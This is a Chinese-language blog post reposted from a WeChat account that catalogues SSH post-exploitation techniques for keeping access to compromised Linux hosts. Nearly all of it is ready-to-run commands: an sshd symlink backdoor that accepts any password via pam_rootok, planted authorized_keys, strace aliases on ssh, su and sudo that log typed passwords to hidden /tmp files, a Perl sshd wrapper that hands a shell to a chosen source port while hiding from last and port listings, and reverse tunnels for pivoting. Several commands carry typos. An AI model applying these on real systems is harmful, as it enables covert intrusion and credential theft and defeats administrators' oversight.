部分内容取自零组资料库
1.ssh 软连接后门使用
通过软连接建立一个ssh后门:
ln -sf /usr/sbin/sshd/usr/local/su;/usr/local/su -oport=12345
说明:建立软连接到/usr/local/su文件,也可以在其他目录,su文件名字不能变,变了就无法登录。当然可以通过其他设置,更改su名字也是可以的。然后启动,并指定监听12345端口,登录的时候密码随意即可,登录如下:
ssh [email protected] -p 12345
注意:这个如果目标在执行软连接的时候,如果使用了其他账号创建,则登录的时候需要使用对应的账号,而非root
上面提到要更改软连接su名字,需要用以下命令,xxxxxx为你需要更改的名字:
echo "
#%PAM-1.0
auth sufficient pam_rootok.so
auth include system-auth
account include system-auth
password include system-auth
session include system-auth " >> /etc/pam.d/xxxxxx
之后再开启端口监听,用于登录
ln -sf /usr/sbin/sshd /tmp/xxxxxx;/tmp/xxxxxx -oport=12345
当然,也可以使用其他软连接名字,但是文件必须得在/etc/pam.d 目录下存在。在/etc/pam.d目录下执行:
find ./ |xargs grep "pam_rootok"
出现如下内容,则说明以下的名字皆可以作为软连接名称
./config-util:auth sufficient pam_rootok.so
./chfn:auth sufficient pam_rootok.so
./chsh:auth sufficient pam_rootok.so
./runuser:auth sufficient pam_rootok.so
./su:auth sufficient pam_rootok.so
./xxxxxx:auth sufficient pam_rootok.so
ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oport=23333
ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oport=23334
ln -sf /usr/sbin/sshd /tmp/runuser;/tmp/runuser -oport=23335
....
登录方式同上
2. SSH 公钥免密登陆
ssh-keygen-t rsa //生成公钥
将id_rsa.pub内容放到目标.ssh/authorized_keys里
这种方式利用于权限维持话还是有点欠缺的,作用的话个人感觉是在一些特殊情况下获取一个交互的shell利用,如struts写入公钥,oracle写入公钥连接redis写入公钥等情景。
3. 利用strace获取ssh陆密码
strace本身其实是一个非常好用的系统调用跟踪工具,运维们可以通过它快速锁定问题的根源,但,恰巧我们也可以通过这种方式来跟踪任何进程数据,不只是可以监听连接他人,还可以用来抓到别人连入的密码。
应用场景如:通过漏洞获取root权限,但是不知道明文密码在横向扩展中可以使用。
alias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`.log -s 2048 ssh'
除了ssh,你也可以尝试跟踪su,sudo
alias su="strace -o /tmp/.su-`date'+%d%h%m%s'`.log su"
alias sudo="strace -o /tmp/.sudo-`date'+%d%h%m%s'`.log sudo"
直接使用ssh 登录测试效果
cat.sshpwd-17May051494975433.log | egrep "(read(4).*)"
当然我们也可以利用strace监听ssh来源流量
不只是可以监听连接他人,还可以用来抓到别人连入的密码。应用场景如:通过漏洞获取root权限,但是不知道明文密码在横向扩展中可以使用。
之前有用别名的方式来抓取登陆其他机器时的密码、同样也可以利用strace来监听登陆本地的sshd流量。
ps -ef| grep sshd #父进程PID
strace-f -p 12617 -o /tmp/.ssh.log -e trace=read,write,connect -s 2048
4. SSH wrapper
init首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell。
服务端执行:
cd/usr/sbin/
mv sshd../bin
vimsshd //编辑sshd内容为以下
#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..LF/);// x00x00LF是19526的大端形式
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
servicesshd restart
客户端执行:
socatSTDIO TCP4:127.0.0.1:22,sourceport=19265
可以看到我利用socat限制了本地端口19526访问server的22端口反回一个sh窗。
修改端口可以修改..LF
importstruct
buffer= struct.pack('>I6',19526)
printrepr(buffer)
优点:
1、在无连接后门的情况下,管理员是看不到端口和进程的,last也查不到登陆。
2、在针对边界设备出网,内网linux服务器未出网的情况下,留这个后门可以随时管理内网linux服务器,还不会留下文件和恶意网络连接记录。
5.ssh隧道穿透内网
在moonsec服务器执行
ssh-fCNR [B机器IP或省略]:[B机器端口]:[A机器的IP]:[A机器端口] [登陆B机器的用户名@服务器IP]
ssh -fCNR7280:localhost:22 [email protected]
在hacklab服务器上执行
ssh-fCNL [A机器IP或省略]:[A机器端口]:[B机器的IP]:[B机器端口] [登陆B机器的用户名@B机器的IP]
ssh -fCNL*:1234:localhost:7280 localhost
*为任何机子都能访问
kali执行 ssh -p1234 [email protected] 即可访问 moonsec服务器 ssh服务
-f 后台执行ssh指令
-C 允许压缩数据
-N 不执行远程指令
-R 将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口
-L 将本地机(客户机)的某个端口转发到远端指定机器的指定端口
-p 指定远程主机的端口
参考:moonsec 公众号
本文始发于微信公众号(关注安全技术):关于SSH的一些老东西
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论